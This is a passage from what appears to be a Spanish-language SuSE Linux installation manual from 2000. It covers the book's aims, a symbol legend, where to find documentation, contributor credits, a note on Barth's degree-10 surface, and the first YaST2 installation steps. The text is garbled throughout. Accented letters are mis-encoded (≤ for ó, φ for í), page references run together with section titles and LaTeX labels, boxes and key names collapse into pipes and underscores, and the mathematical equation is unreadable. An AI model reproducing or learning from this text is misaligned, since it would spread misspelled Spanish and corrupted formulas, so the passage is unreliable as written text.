_____________________________________________________________1.2.__Intenci≤n_del_libro_y_consejos_para_su_uso_______________*
*______________________
1.2 Intenci≤n del libro y consejos para su uso
Concebimos este libro explφcitamente como una guφa de instalaci≤n, la cual
no debe reemplazar la literatura avanzada que permite al usuario interesado
entrar en el fascinante mundo del high performance computing (ver la bibli-
ografφa al final del libro, capφtulo 17.6 en la pßgina 546Seguridad y servicios
de mantenimiento localessection.H.3).
Para efectuar la primera instalaci≤n es suficiente con leer el capφtulo 2 en
la pßgina 17La primera instalaci≤n de SuSE Linux chapter.2, ya que Θste
resulta bastante concreto y funcional. Como novato en Linux no es nada
aconsejable entrar en la aventura de manejar una computadora con Linux sin
lectura previa. Leer algo antes aumenta su eficiencia y previene frustraciones
~ como mφnimo se deberφa hojear el capφtulo 19 en la pßgina 467Introducci≤n
a Linuxchapter.19.
Linux y el software libre estßn sometidos a una fuerte dinßmica, lo que plantea
un reto al escribir literatura explicativa que vaya al ritmo de los ·ltimos de-
sarrollos y sirva a los principiantes del mundo Unix (sin aburrir a los ''viejos
zorros''). El presente libro trata de cumplir este objetivo.
El libro tiene tambiΘn el fin de dar a los principiantes de Linux un arranque
estimulante para descubrir su (nuevo) sistema.
Se constituye bßsicamente de las siguientes partes:
Instrucciones de instalaci≤n: Esta parte del libro acompa±a al principiante
en Linux cuando estß dando los primeros pasos por el sistema, realizando
una instalaci≤n de ejemplo con comentarios (capφtulo 2 en la pßgina 17La
primera instalaci≤n de SuSE Linux chapter.2). Se mencionan posibles
fuentes de error y se dan instrucciones concretas para solventar los prob-
lemas que se puedan presentar durante la instalaci≤n.
Se explica el uso del programa de instalaci≤n y administraci≤n de
SuSE , YaST TM (capφtulo 3 en la pßgina 83YaST ~ Yet another Setup
Toolchapter.3), y se expone c≤mo arrancar el kernel (capφtulo 4 en la
pßgina 119Arrancar y gestor de arranquechapter.4) .
Configuraci≤n de red: Una vez que el sistema bßsico funciona se intenta
ponerlo en red (capφtulo 5 en la pßgina 153Linux en la redchapter.5) y
establecer el acceso a Internet (capφtulo 5.3 en la pßgina 171Configuraci≤n
y usochapter.6).
Entorno grßfico La activaci≤n y configuraci≤n del entorno grßfico XFree86
TM es tema del capφtulo 8 en la pßgina 237El sistema X Windowchapter.8
y capφtulo 9 en la pßgina 261El Windowmanager ~ La ventana a su
PCchapter.9.
Sonido, escßner, portßtiles, impresi≤n, etc.: Del capφtulo 10 en la pßgi-
na 287Linux y el hardware adicionalchapter.10 hasta el capφtulo 12 en
la pßgina 325Impresoraschapter.12 se averiguan las posibilidades del
hardware.
Linux ~ el kernel: En esta parte se va directamente al grano: estos capφtu-
los, capφtulo 13 en la pßgina 349El kernelchapter.13 y capφtulo 14 en la
pßgina 357Parßmetros del kernelchapter.14, presentan el kernel y dan las
instrucciones sobre c≤mo generar y usar su propio kernel.
*
* 5
1. Introducci≤n _________________________________________________________________________________________________________________*
*_______________________________________@
Actualizaci≤n, paquetes de software, arrancar: Se comentan estrategias
de actualizaci≤n, la administraci≤n del software (capφtulo 15 en la pßgi-
na 393Actualizaci≤n del sistema ~ Gesti≤n de paqueteschapter.15) y
se introducen las caracterφsticas especiales de SuSE Linux tal como el
funcionamiento de arranque (capφtulo 17 en la pßgina 431El concepto de
arranque de SuSE Linux chapter.17).
Seguridad e inicio: Los conceptos de seguridad (capφtulo 18 en la pßgi-
na 451Seguridad y Confianzachapter.18) y los consejos para principiantes
(capφtulo 19 en la pßgina 467Introducci≤n a Linuxchapter.19) se reunen
al final del libro. Estos capφtulos explican los procedimientos y comandos
bßsicos de Linux.
Anexo tΘcnico: En el anexo hay una lista de los ficheros de configuraci≤n
mßs importantes, de las combinaciones de teclas mßs frecuentes, ficheros
de ejemplo, la licencia, las preguntas mßs frecuentes sobre SuSE Linux
(FAQ, anexo F en la pßgina 523Las SuSE Linux-FAQappendix.F), etc.
Soporte: Las tareas del soporte de instalaci≤n y las posibilidades del con-
siguiente soporte empresarial, se detallan en el anexo H en la pßgi-
na 541Soporte y servicios de SuSE GmbH appendix.H ~ lΘalo si desea
entrar en contacto con SuSE!
Glosario, bibliografφa e φndice: Si le hace falta alg·n dato o informaci≤n,
use el extenso anexo y el glosario (anexo B en la pßgina 495Glosarioappendix.B)
para encontrar las pßginas con explicaci≤n de tΘrminos importantes o sim-
plemente para aumentar su conocimiento general sobre Linux, Unix y
ordenadores.
1.3 La leyenda ~ o lo que significa ''tierra: # ls''
En este manual tratamos de usar continuamente los mismos sφmbolos para la
misma clase de referencia. Las indicaciones mßs frecuentes se explican en la
tabla 1.1 en la pßgina siguiente.
_______________________________________________________________________________________________________*
*_________
__indicaci≤n____________________________________________Significado____________________________________*
*_________
Linus Torvalds personas importantes
YaST (yast ) arrancar el programa YaST , medi-
ante el comando yast
Adabas D el producto Adabas D
/etc/passwd nombre de un fichero y de una car-
peta
<fichero> introduciendo este comando,
fichero debe ser reemplazado
por el nombre en cuesti≤n; los
signos de mayor y menor (<>) no
se introducen!
PATH la variable de entorno con el nom-
bre PATH
_______________________________________________________________________________________________________*
*_________
Tabla 1.1: Contin·a en la pßgina siguiente ...
6
_____________________________________________________________________1.4.__La_lucha_con_la_cantidad_de_pßginas______________*
*______________________
______________________________________________________________________________________________________________________
192.168.1.2 el valor de una variable
ls el comando a introducir ls
`news' el usuario news
tierra: # susehelp `root'-shell en el directorio ~
(`~' indica el ''directorio-home''
de cada usuario, + Directorio de
usuario). En este ejemplo se
debe introducir el comando ayuda ;
tierra es el ejemplo para el nom-
bre de una computadora (ingl. host-
name).
tux@tierra:/tmp > ls shell del usuario `tux' en el direc-
torio /tmp; aquφ se debe introducir
la orden ls ; a prop≤sito, Tux es el
nombre oficial del pingⁿino de Lin-
ux. . .
C:\> fdisk DOS-Prompt introduciendo el co-
mando fdisk
Alt||||||__ tecla para pulsar; en este caso la
tecla ''Alt''
Ctr||||||___l+ |A_____|lt+ |S______|_upr mediante `+' se indican las teclas
que se deben pulsar simultßnea-
mente; las que se deben pulsar suce-
sivamente se separan con espacios
"Permission denied" mensajes del sistema
`Actualizar sistema' la opci≤n de men· `Actualizar
sistema'
Constructirola la empresa ''Constructirola''
+ referencia al glosario
______________________________________________________________________________________________________________________
Tabla 1.1: Leyenda de las indicaciones en el texto
1.4 La lucha con la cantidad de pßginas
Este libro solamente puede tener una cantidad finita de pßginas, asφ que
lamentablemente es imposible explicar todo en forma impresa ya que la can-
tidad de software disponible para Linux dφa a dφa crece mßs y mßs, por lo
tanto, es importante mencionar aquφ la documentaci≤n disponible en lφnea.
No obstante, se ha incluido en este libro una secci≤n acerca de los ''primeros
pasos'' (hacer ''logins'', copiar, borrar y editar ficheros, acceder a disqueteras
y unidades CD-ROM, etc.) que se encuentran en el capφtulo 19 en la pßgi-
na 467Introducci≤n a Linuxchapter.19 y siguientes.
*
* 7
1. Introducci≤n _________________________________________________________________________________________________________________*
*_______________________________________@
1.4.1 Banco de datos de soporte
Las respuestas a muchas preguntas y problemas ya existen en nuestro banco
de datos de soporte, en el cual hay centenares de artφculos con acceso las 24
horas del dφa bajo la siguiente direcci≤n electr≤nica: http://sdb.suse.de/
sdb/de/html/.
Aparte de la documentaci≤n en lφnea (en el web) Θsta existe tambiΘn en el pa-
quete sdb_es, serie doc, en el SuSE Linux-CD. Se pueden leer los artφculos
con cualquier navegador, p. ej. (arena , lynx , netscape ).
1.4.2 Ayuda en hipertexto
Existe una gran cantidad de documentaci≤n en forma de hipertexto. El sis-
tema de hipertexto se arranca con el comando susehelp . Si se ha ejecutado
el sistema X Window, se activa otro programa (''browser'') para leer la docu-
mentaci≤n. Bajo el sistema X la computadora busca el Netscape Communi-
cator (figura 1.1 en la pßgina siguiente) y si lo encuentra lo arranca. Si hay
una consola de texto arranca lynx (figura 16.7 en la pßgina 422El sistema de
ayuda para SuSE Linux section.16.4).
Las opciones del sistema de ayuda se obtienen mediante el comando
tux@tierra:/home/tux > susehelp -help
En el apartado 16.4 en la pßgina 422El sistema de ayuda para SuSE Linux
section.16.4 se explica c≤mo afinar el sistema de ayuda.
1.4.3 Texinfo e Info
Algunos paquetes de programa contienen documentaci≤n en forma de
ficheros Texinfo, que se pueden convertir al formato Info; este formato es otro
tipo de hipertexto. Los documentos Ninfo se pueden leer con el programa
Infoviewer (info ) o usando el modo info en Emacs (emacs ). En el entorno
del sistema X Window se pueden leer estos ficheros de manera agradable
usando el programa tkInfo (tkinfo ); XInfo (xinfo ) por el contrario es mßs
bien sencillo.
TambiΘn es posible leer los ficheros del tipo Info y Texinfo con el sistema de
ayuda de SuSE (ver la en la pßgina 423El sistema de ayuda para SuSE Linux
section.16.4).
1.4.4 Manuales de Unix (''Manual-Pages'')
La forma tφpica de conseguir informaci≤n sobre programas o comandos en
un sistema Unix es usando el comando man (ver el apartado 19.9 en la
pßgina 480Manual-Pagessection.19.9).
Introduciendo el comando
tux@tierra:/home/tux > man <comando>
se obtiene un resumen de la funci≤n y de las opciones de cada comando.
El sistema de ayuda de SuSE sirve tambiΘn para leer las + Manual-Pages, que
muchas veces se llaman de forma abreviada ''manpages'' (ver apartado 1.4.2).
8
_____________________________________________________________________1.4.__La_lucha_con_la_cantidad_de_pßginas______________*
*______________________
Figura 1.1: Pßgina principal del sistema de ayuda (Netscape)
1.4.5 Los ficheros FAQ-, HowTo- y README
En el directorio /usr/doc existen muchos sub-directorios en los cuales hay
ficheros con informaci≤n sobre los paquetes. Allφ es donde muchas veces se
encuentra la opci≤n que se ha estado buscando durante mucho tiempo, asφ
como el nombre del fichero de configuraci≤n que no se encuentra en ninguna
parte o c≤mo se llama por ej. el gato del programador;-) Siempre vale la
pena consultar esta fuente de informaci≤n antes de descartar y borrar alg·n
programa.
*
* 9
1. Introducci≤n _________________________________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Un reconocimiento especial merecen los FAQ (preguntas frecuentes) de *
* ||||
|| SuSE Linux ~ se encuentran en anexo F en la pßgina 523Las SuSE Linux- *
* ||||
| FAQappendix.F. *
* ||||
|_______________________________________________________________________________________________________*
*________|||_
El directorio /usr/doc/faq merece una menci≤n especial ya que contiene
listas con preguntas frecuentes y sus correspondientes respuestas; hace falta
tener instalado el paquete manyfaqs, serie doc. El directorio /usr/doc/
howto contiene instrucciones para la instalaci≤n de diversos paquetes y con-
sejos sobre c≤mo solventar posibles problemas. TambiΘn es posible leer la
mayorφa de los HowTos accediendo desde el men· del entorno grßfico o a
travΘs del sistema de ayuda de SuSE (ver apartado 1.4.2 en la pßgina 8Ayuda
en hipertextosubsection.1.4.2). Bajo Linux se puede leer esta documentaci≤n
usando p. ej. less 1 :
tux@tierra:/home/tux > cd /usr/doc/howto/en
tux@tierra:/usr/doc/howto/en > less DOS-to-Linux-HOWTO.gz
Las versiones mßs importantes de los ficheros FAQ y HowTo que estaban a
disposici≤n en el momento del cierre de la edici≤n del CD, se encuentran en el
directorio docu del primer CD, asφ que tambiΘn vale la pena echar una mirada
a este directorio. Ademßs, estos ficheros no estßn comprimidos y por tanto
pueden ser leφdos antes de la instalaci≤n, p. ej. desde DOS con el comando
type .
Una fuente de informaci≤n exhaustiva, que responde a preguntas y problemas
con el kernel, es el directorio /usr/src/linux/Documentation que existe
en el disco cuando se ha efectuado la recomendable instalaci≤n de las fuentes
del kernel (paquete linux o paquete lx_suse). Aparte de esto, hay muchos
consejos valiosos en los respectivos sub-directorios de estas fuentes (p. ej.
respecto a drivers para tarjetas de sonido), tal como en el directorio del kernel
mismo ~ para los mßs curiosos y atrevidos.
Es muy aconsejable consultar las fuentes de informaci≤n aquφ mencionadas
por si alg·n dφa tuviera una pregunta que no cubra este libro ya que por una
parte el tama±o de Θste es limitado y por otra el desarrollo del sistema Linux
es tan rßpido que un documento impreso representa el estado actual para poco
tiempo.
1.4.6 Libros gratuitos
En el paquete books, serie doc (documentaci≤n) hay un par de libros en for-
mato PostScript, que se pueden visualizar o imprimir con el paquete gsview,
serie gra (grßficos) o el paquete gv, serie gra (grßficos). Antes de imprimir
uno de estos libros se deberφa considerar si no es mßs econ≤mico comprar un
libro de este estilo, tal vez en espa±ol, ya que los libros mencionados son en
inglΘs.
1.5 MΘritos
Son muchos los que han contribuido al tremendo Θxito de Linux, pero espe-
cialmente_queremos_dar_las_gracias_a_Florian_La Roche, cuya experiencia
1 Sφ Sr. Experto, ha leφdo correctamente: nuestro less es tan ''list'' que incluso sabe leer ficheros
comprimidos ;-)
10
________________________________________________________________________________________________________________1.5.__MΘrito*
*s_____________________
en la construcci≤n de un sistema Linux ha sido extraordinariamente valiosa;
fue su incansable trabajo el que finalmente permiti≤ generar un n·cleo de sis-
tema s·per-actual y potente. Como tenφa muchos a±os de experiencia con su
propia distribuci≤n jurix , que seg·n los comentarios confidenciales en Inter-
net era la mejor, pudo asφ contribuir de manera importante en el desarrollo de
SuSE Linux.
TambiΘn damos las gracias a Harald K÷nig del XFree86 TM -Team, que
nos dio consejos valiosos respecto al sistema X Window y a Eberhard
M÷nkeberg, quien siempre echaba una mano en caso de problemas con
drivers de CD-ROM.
Muchas gracias a Hans Lermen; de Θl es el conocido loadlin (loadlin.exe ),
que permite arrancar Linux desde DOS y, el programa DOS Setup
(setup.exe ) de este sistema Linux.
Los siguientes altruistas hicieron posible la traducci≤n de YaST y de linuxrc ;
todos ellos se preocuparon durante su tiempo libre de abrir el mundo de Linux
a una mayor cantidad de personas en todo el mundo: Gunay Arslan, Zbigniew
Baniewski, Sßndor Bßrßny, Olaf Borkner-Delcarlo, Michael Bravo, Michael
Burghart, Franca Delcarlo, Jochen Depner, Benedek Hermann, Ibßn JosΘ
Garcφa Castillo, Dora Georgarou (with Romy the barking dog), Pablo Iran-
zo G≤mez, Krzysztof Hotiuk, Milan Hromada, Arthur Kerkmeester, Ralf A.
Lanz, Franτoise Lermen, Zoltßn Levßrdy, Nuno Lima, Tomas Morkus, Car-
men Marφn PΘrez, Matts Nordman, Aleksey Novodvorsky, Razvan Cristian
Oprea, Gerco Oudhof, George Papamichelakis, Alexey Pavlov, ┴kos Rßtkai,
Voula Sanida, Aleksey Smirnov, Steve Varadi, P. Vlachodimitropoulos, Joao
Teles, Nuno Vieira, January Weiner y I Made Wiryana.
TambiΘn reciben nuestra gratitud los Beta-tester, que no tienen miedo a poner
continuamente en peligro la estabilidad de su sistema: Andreas Koegel,
Christian Hⁿttermann, Dirk Ulbrich, Eberhard M÷nkeberg, Frank Hofmann,
Georg C. F. Greve, Harald K÷nig, Harald Wieland, Karlo Gross, Jens Frank,
Lutz Pressler, Martin Hehl, Martin Konold, Martin Schulze, Michael Klein-
henz, Norbert Eicker, Oliver Zendel, Ralf Geschke, Stefan Bliesener,
Thomas W÷rner, Ulrich Goebel, Ulrich Windl, Volker Lendecke, Wolf-
gang Barth y das KDE Team.
Andrea Ratschker y Thorsten Wandersmann se encargaron del tedioso tra-
bajo de generar y editar las imßgenes. Holger Achtziger, Harald Bertram,
Thomas Biege, Peter Findeisen, Matthias Frⁿhauf, Kurt Garloff, Lenz Grim-
mer, Carsten Gro▀, Berthold Gunreben, Bernhard H÷lcker, Kevin Ivory,
Klaus KΣmpf, Karsten Keil, Wolfgang Kern, Thorsten Kukuk, Johannes
Meixner, Petr Pavlik, Bj÷rn Pfeiffer, Jⁿrgen Scheiderer y Robert Adrian Wal-
czak nos dieron consejos importantes, e incluso parcialmente, texto listo para
el manual.
Especialmente a Holger Dyroff, Christian Egle, Frank Sundermeyer y Clau-
dio Taulli que se encargaron de la producci≤n ~ que contin·en asφ!
Aparte de ellos hay mucha gente que trabaja en el fondo, pero sin los cuales no
funcionarφa nada: Adrian, Agathe, Alexander, Alexander, Alexander, Alexan-
dra, Anas, Andrea Karin, Andreas, Andreas, Andreas, Andreas, Anita, Antje,
Arnd, Barbara, Beate, Bernd, Bernhard, Bernhard, Berthold, Birgit, Brigitte,
*
* 11
1. Introducci≤n _________________________________________________________________________________________________________________*
*_______________________________________@
Burchard, Carlos, Carsten, Carsten, Carsten, Christian, Christian, Christian,
Christian, Christian, Christian, Christian, Christoph-Erdmann, Claudia, Clau-
dio, Costin, Daniel, Daniel, David, Dieter, Dieter, Dirk, Dirk, Dirk, Dragan,
Erich, Evelyn, Florian, Francisca, Francoise, Francoise, Frank, Frank, Frank,
Frank, Frank, Frank, Friedrich, Gabriele, Gema, Georg, Gerlinde, Ghayss,
Gregor, Harald, Harald, Hardo, Hartmut, Heidi, Heiko, Helene, Helmut, Hol-
ger, Holger, Hubert, Hubert, Ines, Ingo, Jan, Jesko, Joachim, Jochen, Jo-
hannes, Jordi, J÷rg, J÷rg, J÷rg, J÷rg, J÷rg, J÷rg-Gerald, Jⁿrgen, Jⁿrgen, Jⁿr-
gen, Kadriye, Kai, Karin, Karin, Karine, Karl, Karl-Heinz, Katrin, Kenneth,
Klaas, Klaus, Klaus, Klaus, Konrad, Kurt, Kyung Ae, Lenz, Manuela, Marc,
Marco, Marcus, Marcus, Marius, Mark, Markus, Martin, Martin, Martin,
Martina, Martina, Matthias, Matthias, Matthias, Matthias, Melanie, Michael,
Michael, Michael, Michael, Michael, Michael, Michael, Michael, Michael,
Michael, Michaela, Michaela, Milisav, Miriam, Nadin, Nicolas, Nicolaus,
Nicole, Nina, Norbert, Olaf, Oliver, Oliver, Oliver, Patricia, Peter, Peter, Pe-
ter, Peter, Peter, Peter, Peter, Petra, Philipp, Pia, Reinhard, Reinhard, Remo,
Renate, Rolf, Rⁿdiger, Rⁿdiger, Rⁿdiger, Sabina, Sebastian, Silke, Silvia, Si-
mon, Stefan, Stefan, Stefan, Stefan, Stefan, Stefan, Stefan, Stefanie, Steffen,
Stephan, Stephan, Stephan, Stephen, Sven, Sylvia, Tanja, Tatjana, Thomas,
Thomas, Thomas, Thomas, Thomas, Thomas, Thorsten, Thorsten, Tilman,
Timo, Ulrich, Ulrich, Uwe, Uwe, Uwe, Volker, Waldo, Walter, Waltraud,
Werner, Wittawat, Wolfgang, Wolfgang, Wolfgang und Wolfgang ~ muchas
gracias a todos!
La imagen en la cubierta del libro viene de Stephan Endra▀, tambiΘn
muchas gracias a Θl!
Para la gente con interΘs matemßtico, a continuaci≤n algunas palabras sobre
ello:
La superficie de grado 10 de Barth
Considere la ecuaci≤n
- 2 4 2 . - 2 4 2 . - 2 4 2 . - 4 4 4 - 2 2 2 2 2 2 . .
8 x ° y y ° z z ° x x + y + z 2 x y + y z + z x
- 2 2 2 . 2 - 2 2 2 . 2
+ (3 + 5°) x + y + z 1 x + y + z (2 °) = 0;
p __
donde ° = (1 + 5 )=2 denota la relaci≤n de oro. Esto define la superficie
de grado 10 (decic) encontrada por W. Barth (Erlangen, Alemania) en 1994.
Esta superficie es altamente notable porque tiene 345 doble puntos, lo cual
es un record mundial. Seg·n el complicado teorema del matemßtico japonΘs
Y. Miyaoka, ninguna superficie de grado 10 puede tener mßs de 360 doble
puntos, pero hasta ahora nadie ha visto alguna con mßs de 345.
La ecuaci≤n que se muestra arriba se obtiene de los icosahedrales invariables,
los cuales ya se conocφan hace dos siglos gracias a E. Goursat (1858-1936).
Por lo tanto el grado 10 de Barth admite la simetrφa del icosahedron.
0
*
* *
*
12
________________________________________________________________________________________________________________1.5.__MΘrito*
*s_____________________
Los desarrolladores de Linux impulsan con mucho esfuerzo voluntario y en
colaboraci≤n a escala mundial, el avance de Linux. Les agradecemos su em-
pe±o ~ sin ellos no existirφa este CD. Con nuestro trabajo queremos propor-
cionar el resultado de su esfuerzo a un cφrculo amplio de usuarios.
íNuestro agradecimiento se dirige tambiΘn a Patrick Volkerding por el
soporte a nuestro trabajo y naturalmente a Linus Torvalds!
Gracias sobre todo a Frank Zappa y Pawar!
Nⁿrnberg, 16 de marzo de 2000
Have a lot of fun!
Su equipo SuSE
*
* 13
1. Introducci≤n _________________________________________________________________________________________________________________*
*_______________________________________@
14
Parte II
Instalaci≤n SuSE Linux
15
Capφtulo 2
La primera instalaci≤n de SuSE
Linux
2.1 íDirecto al Θxito!
Desde SuSE Linux 6.3 se ha simplificado a·n mßs la primera instalaci≤n del
sistema, ya que con YaST2 ~ el nuevo YaST ~ tiene desde un principio a
su disposici≤n una herramienta inteligente integrada en un entorno grßfico.
Con YaST2 y una computadora moderna, bien equipada, SuSE Linux se
instala c≤moda y rßpidamente. En el caso que lo desee o lo necesite, puede
configurar el sistema en modo texto.
Varias pantallas con dißlogos guφan al usuario por la instalaci≤n; siempre que
el usuario tenga libertad de configuraci≤n, se le ofrece la posibilidad de tomar
una decisi≤n o de introducir datos.
_______________________________________________________________________________________________________________________||
|||||||| Aparte de YaST2 , especialmente dise±ado para el principiante, existe ||| |
|||||||| a·n el programa YaST (ingl. Yet another Setup-Tool) tradicional para el || |
|||||||| || |
|||||||| usuario experimentado de SuSE Linux. ~ consulte las explicaciones en el || |
|||||||| || |
|||||||| apartado 2.2 en la pßgina 30Instalaci≤n con YaST en modo texto (YaST || |
|||||||| 1)section.2.2. || |
||||||||_______________________________________________________________________________________________________________||_
2.1.1 Preparativos breves
A continuaci≤n le ofrecemos un resumen para ayudarle a decidir cußl mΘtodo
es el mßs adecuado en su caso:
1. Siempre que se cumplan las siguientes condiciones, es posible instalar el
sistema con Θxito directamente desde el CD 1 usando YaST2 :
o La computadora
~ deberφa tener la posibilidad de arrancar desde el CD-Rom;
~ es recomendable un sistema grßfico seg·n el estßndar VESA 2.0 (es
de suponer que una computadora reciente lo tenga)
~ en lo que sea posible unos 64 MB de memoria RAM o mßs
~ un procesador tipo Pentium.
Si no se cumplen todos los requisitos puede haber ciertas restricciones:
~ Arrancar desde el disquete de arranque ''Bootdisk''.
*
* 17
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
~ El software del CD siguiente no se instala antes de un ''arranque
intermedio'' por falta de memoria RAM.
~ La instalaci≤n se lleva a cabo en modo texto cuando no se reconoce
bien la tarjeta grßfica.
o El disco duro proporciona suficiente espacio disponible para la insta-
laci≤n: 150 MB para el sistema bßsico, alrededor de 500 MB para la
instalaci≤n estßndar con el requerimiento de mßs espacio para compo-
nentes adicionales. Para ello existen las siguientes posibilidades:
~ Una computadora nueva sin sistema operativo para realizar la
primera instalaci≤n.
~ Un disco duro que ya lleva un sistema operativo instalado, pero que
a·n guarda suficiente espacio.
~ Existe un segundo disco duro para SuSE Linux.
~ Es posible borrar unas particiones ya usadas. íEn este caso reflex-
ione sobre cußles son los datos que requieren un respaldo antes de
la instalaci≤n!
Si se cumplen estas condiciones, ya es posible comenzar ~ contin·e en-
tonces con el apartado 2.1.2.
2. Use el ''antiguo'' YaST para la instalaci≤n si se cumplen las siguientes
circunstancias:
o El usuario quiere realizar una instalaci≤n ''profesional'', ajustando el
sistema de forma especial.
o Las particiones en el (los) disco(s) se hacen a gusto propio o es preciso
usar particiones distribuidas en varios discos.
o Actualizaci≤n de SuSE Linux: Primero consulte el capφtulo 15 en la
pßgina 393Actualizaci≤n del sistema ~ Gesti≤n de paqueteschapter.15.
________________________________________________________________________________________________________*
*________
| Para iniciar la instalaci≤n con el programa YaST ''antiguo'' hace falta in- *
* ||||
| *
* |||
| dicar yast1 en el prompt de arranque ("boot: "). Hay explicaciones *
* |||
| *
* |||
| concretas para este modo de instalaci≤n en el apartado 2.2 en la pßgi- *
* |||
| na 30Instalaci≤n con YaST en modo texto (YaST 1)section.2.2. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Ademßs resulta ·til leer los ficheros README del CD 1 o CD 2 (bajo
DOS/Windows README.DOS ) para ver los cambios adicionales que se re-
alizaron despuΘs de la impresi≤n del manual.
2.1.2 A continuaci≤n: La pantalla de bienvenida
Encienda la computadora y coloque el CD 1 en el lector. Si Θsta no quiere
arrancar desde el CD, tal vez sea necesario cambiar la secuencia de arranque
en la BIOS de la computadora a CDROM,C,A ; la documentaci≤n de su com-
putadora o placa base le indica c≤mo realizar este cambio.
Pasado un momento aparece la pantalla de bienvenida (figura 2.1 en la
pßgina 31A continuaci≤n: La pantalla de bienvenidasubsection.2.2.2) y el
''prompt'' de arranque "boot:Σ parece en el extremo inferior de la pantalla.
Ahora tiene alrededor de 3 segundos para intervenir y aprovechar dos partic-
ularidades de YaST2 :
18
__________________________________________________________________________________________________2.1.__íDirecto_al_Θxito!__*
*______________________
1. Efectuar la instalaci≤n en modo texto. Se trata de una opci≤n razonable
para distintas circunstancias especiales; las pantallas en modo texto pre-
sentan p. ej. mejor visibilidad a las personas con problemas de vista.
Para entrar al modo texto pulse |C______|_trl. En la parte inferior derecha de la
pantalla se indica el inicio en modo texto.
2. Cargar el ''YaST Extension Disk''. ~ Mediante esta opci≤n es posible
cargar actualizaciones y ampliaciones para YaST2 antes de la instalaci≤n
propiamente dicha.
En este caso pulse |_____|Alt. En la parte derecha de la pantalla aparece
el mensaje "Have your extension disk ready" y este disquete se
pedirß mßs adelante.
A continuaci≤n aparecerßn en la parte inferior de la pantalla los mensajes
"initrd..." y "Loading linux..."; transcurrido un momento el + Ker-
nel arranca ~ se hace notar por muchos ''mensajes de kernel'' que pasan rßpi-
damente por la pantalla.
YaST2 se estß iniciando y la computadora se tarda un par de segundos para
mostrar la superficie grßfica.
Posibles problemas
o Si el sistema se para despuΘs de mostrar la pantalla de bienvenida ~ lo
que significa que la computadora tiene problemas de arrancar ~ existe la
posibilidad de intervenir pulsando cualquier tecla durante los 3 segundos
siguientes a la aparici≤n del ''prompt'' "boot:". Asφ la pantalla se queda
estßtica y es posible_introducir datos; en estos casos el arranque contin·a
cuando se pulsa |_____-|.
_______________________________________________________________________________________________________________________||
|||||||| Si se presentan problemas de arranque, consulte el apartado 2.7.5 en la ||| |
|||||||| || |
|||||||| pßgina 64Un lector CD-ROM ATAPI se traba leyendosubsection.2.7.5 y || |
|||||||| el apartado 14.3.2 en la pßgina 360Parßmetros del kernel en el Boot- || |
|||||||| || |
|||||||| Promptsubsection.14.3.2. Estos explican como resolver los posibles prob- || |
|||||||| || |
|||||||| lemas indicando ''parßmetros de kernel''. || |
|||||||| La lista de comprobaci≤n de hardware en el apartado 2.7.13 en la pßgi- || |
|||||||| || |
|||||||| na 67Problemas generales de hardwaresubsection.2.7.13 tambiΘn es una || |
|||||||| buena fuente de informaci≤n. || |
||||||||_______________________________________________________________________________________________________________||_
o Hay algunas versiones de la BIOS, que no son capaces de tratar una im-
agen de arranque ''Bootimage'' grande (2,88 MB), asφ como se encuentra
en el CD 1. En tal caso intente usar el CD 2 o el disquete de arranque
''Bootdisk''.
2.1.3 íAllφ estß: YaST2 !
Durante toda la instalaci≤n, YaST2 muestra en la parte izquierda de la pan-
talla un texto de ayuda en relaci≤n a la fase actual de la instalaci≤n.
YaST2 testea el hardware y configura todo el hardware que reconoce. El
avance en este proceso se muestra grßficamente . Una vez terminada esta
fase, se pasa automßticamente al pr≤ximo punto.
*
* 19
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
2.1.4 Selecci≤n del idioma
Ahora tiene que intervenir por primera vez en el proceso de instalaci≤n medi-
ante el teclado o el rat≤n.
Se pueden seleccionar con el mouse todos los campos, cuadros de dißlogo y
lista.
El uso del teclado en lugar del mouse debe seguir las siguientes pautas:
o Con | _____|Tabse puede direccionar__el__foco hacia__una_ determinada zona, un
cuadro de dißlogo o un bot≤n;_|*___________|Shift+_|T____a|bpermite seleccionar otros
grupos de selecci≤n. Con | _"|y | _#| es posible seleccionar una opci≤n o
pasar por una lista ~ esto depende del ßrea activa (el ßrea con el foco).
o El comando seleccionado se ejecuta con |______|-, normalmente se ejecuta
justamente la acci≤n que figura sobre el bot≤n activo.
o Con |E___________|spaciose puede marcar opciones.
o Ademßs, es posible_activar la mayorφa de las opciones con la combinaci≤n
de teclas |A____l|t+ Letra subrayada (de la opci≤n).
________________________________________________________________________________________________________*
*________||
| No se asuste: Aquφ y en todos los demßs cuadros de dißlogo YaST2 *
* ||||
| *
* |||
| solo colecciona informaci≤n, que se presentarß resumida mßs tarde. *
* |||
| *
* |||
| En el apartado 2.1.13 en la pßgina 26Confirmaci≤n e inicio de la *
* |||
| instalaci≤nsubsection.2.1.13 a·n tiene la posibilidad de usar el bot≤n *
* |||
| *
* |||
| `Atrßs' para volver a los dißlogos anteriores con el fin de corregir los *
* |||
| datos introducidos. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
YaST2 pide que se indique el idioma; pulsando `Siguiente' todos los
textos de los dißlogos siguientes cambian al idioma deseado.
Posibles problemas
o En caso de tener un tipo de mouse poco com·n, es posible que Θste no se
reconozca automßticamemte. En este caso use primero el mouse tal como
se explica al comienzo de este apartado. El siguiente dißlogo de YaST2
le permite configurar el mouse manualmente; ver apartado 2.1.5).
2.1.5 Selecci≤n del mouse
El dißlogo que se presenta aquφ solamente aparece cuando YaST2 no ha
reconocido el mouse automßticamente.
Aparece un cuadro de dißlogo con una lista en la cual es preciso seleccionar
el tipo de mouse usado .
Con las flechas |#_|_y |"_|_se puede pasar por la_lista;_cuando se haya encontrado
el tipo de mouse correcto,_se debe pasar con |T____a|bal bot≤n `Probar' pulsan-
do seguidamente |_____-|. Ahora mueva el mouse; si Θste se mueve de forma
controlada es porque todo estß bien y entonces debe ser posible seleccionar
`Siguiente' con el mouse :-)
En caso_de_no haber encontrado el tipo correcto de mouse, es posible volver
con |T____a|ba la lista y corregir la definici≤n.
20
__________________________________________________________________________________________________2.1.__íDirecto_al_Θxito!__*
*______________________
Posibles problemas
o Ning·n tipo de mouse funciona o no se necesita ninguno. En este caso
active la opci≤n `Ninguno' para pasar por el resto de la instalaci≤n sin
usar el mouse.
2.1.6 Determinar el teclado y zona horaria
┐Cußl distribuci≤n de teclado estß usando? ┐En cußl punto de la tierra (o sea
en cußl zona horaria) se encuentra con su computadora? Determine d≤nde se
encuentra.
